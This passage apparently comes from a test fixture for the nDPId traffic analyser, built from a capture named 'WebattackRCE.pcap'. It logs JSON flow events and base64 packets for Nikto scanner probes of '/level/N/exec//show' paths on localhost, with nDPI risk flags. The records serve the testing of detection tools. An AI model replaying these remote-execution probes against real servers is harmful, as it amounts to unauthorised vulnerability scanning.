{"hostname":"127.0.0.1","url":"127.0.0.1\/level\/75\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001322)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":624,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":624,"flow_packet_id":1,"flow_first_seen":1576420277699,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50810,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":624,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":699922,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIwYhAAEAGeqV\/AAABfwAAAcZ6H5CkKPiYt3JQbIAYAED+vAAAAQEICp1m\/uudZv7rR0VUIC9sZXZlbC83Ni9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMjMpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":624,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":624,"flow_packet_id":1,"flow_first_seen":1576420277699,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50810,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/76\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001323)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":625,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":625,"flow_packet_id":1,"flow_first_seen":1576420277701,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50812,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":625,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":701306,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI\/s1AAEAGPWB\/AAABfwAAAcZ8H5AcB8fbr66aJ4AYAED+vAAAAQEICp1m\/u2dZv7tR0VUIC9sZXZlbC83Ny9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzI0KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":625,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":625,"flow_packet_id":1,"flow_first_seen":1576420277701,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50812,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/77\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001324)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":626,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":626,"flow_packet_id":1,"flow_first_seen":1576420277702,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50814,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":626,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":702537,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIfWpAAEAGvsN\/AAABfwAAAcZ+H5A9kER6aVFtF4AYAED+vAAAAQEICp1m\/u6dZv7uR0VUIC9sZXZlbC83OC9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzI1KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":626,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":626,"flow_packet_id":1,"flow_first_seen":1576420277702,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50814,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/78\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001325)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":627,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":627,"flow_packet_id":1,"flow_first_seen":1576420277703,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50816,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":627,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":703799,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIZuhAAEAG1UV\/AAABfwAAAcaAH5DHm1\/1JwgzKoAYAED+vAAAAQEICp1m\/u+dZv7vR0VUIC9sZXZlbC83OS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMjYpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":627,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":627,"flow_packet_id":1,"flow_first_seen":1576420277703,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50816,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/79\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001326)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":628,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":628,"flow_packet_id":1,"flow_first_seen":1576420277705,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50818,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":628,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":705407,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIi\/NAAEAGsDp\/AAABfwAAAcaCH5DTprLkQgBQzIAYAED+vAAAAQEICp1m\/vGdZv7xR0VUIC9sZXZlbC84MC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMjcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":628,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":628,"flow_packet_id":1,"flow_first_seen":1576420277705,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50818,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/80\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001327)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":629,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":629,"flow_packet_id":1,"flow_first_seen":1576420277708,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50820,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":629,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":708037,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI5e9AAEAGVj5\/AAABfwAAAcaEH5Dy8dz\/j320kYAYAED+vAAAAQEICp1m\/vOdZv7zR0VUIC9sZXZlbC84MS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMjgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":629,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":629,"flow_packet_id":1,"flow_first_seen":1576420277708,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50820,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/81\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001328)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":630,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":630,"flow_packet_id":1,"flow_first_seen":1576420277709,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50822,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":630,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":709960,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIleJAAEAGpkt\/AAABfwAAAcaGH5A96Kz0htu5TYAYAED+vAAAAQEICp1m\/vWdZv71R0VUIC9sZXZlbC84Mi9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzI5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":630,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":630,"flow_packet_id":1,"flow_first_seen":1576420277709,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50822,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/82\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001329)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":631,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":631,"flow_packet_id":1,"flow_first_seen":1576420277711,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50824,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":631,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":711848,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIwilAAEAGegR\/AAABfwAAAcaIH5AoWfs0DfPUMYAYAED+vAAAAQEICp1m\/vedZv73R0VUIC9sZXZlbC84My9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMzApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":631,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":631,"flow_packet_id":1,"flow_first_seen":1576420277711,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50824,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/83\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001330)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":632,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":632,"flow_packet_id":1,"flow_first_seen":1576420277713,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50826,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":632,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":713606,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIsuZAAEAGiUd\/AAABfwAAAcaKH5B+eYvxDWxq9oAYAED+vAAAAQEICp1m\/vmdZv75R0VUIC9sZXZlbC84NC9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzMxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":632,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":632,"flow_packet_id":1,"flow_first_seen":1576420277713,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50826,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/84\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001331)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":633,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":633,"flow_packet_id":1,"flow_first_seen":1576420277715,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50828,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":633,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":715202,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIFWJAAEAGJsx\/AAABfwAAAcaMH5B2cix1DMITXYAYAED+vAAAAQEICp1m\/vudZv77R0VUIC9sZXZlbC84NS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMzIpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":633,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":633,"flow_packet_id":1,"flow_first_seen":1576420277715,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50828,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/85\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001332)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":634,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":634,"flow_packet_id":1,"flow_first_seen":1576420277716,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50830,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":634,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":716776,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIj0FAAEAGrOx\/AAABfwAAAcaOH5BnL7Yrjj53uYAYAED+vAAAAQEICp1m\/vydZv78R0VUIC9sZXZlbC84Ni9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMzMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":634,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":634,"flow_packet_id":1,"flow_first_seen":1576420277716,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50830,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/86\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001333)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":635,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":635,"flow_packet_id":1,"flow_first_seen":1576420277718,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50832,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":635,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":718296,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI9rtAAEAGRXJ\/AAABfwAAAcaQH5Cd5s+tew18QIAYAED+vAAAAQEICp1m\/v6dZv7+R0VUIC9sZXZlbC84Ny9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzM0KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":635,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":635,"flow_packet_id":1,"flow_first_seen":1576420277718,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50832,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/87\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001334)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":636,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":636,"flow_packet_id":1,"flow_first_seen":1576420277719,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50834,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":636,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":719804,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIwR1AAEAGexB\/AAABfwAAAcaSH5DFAfgO5Rn4M4AYAED+vAAAAQEICp1m\/v+dZv7\/R0VUIC9sZXZlbC84OC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMzUpDQoNCg=="} 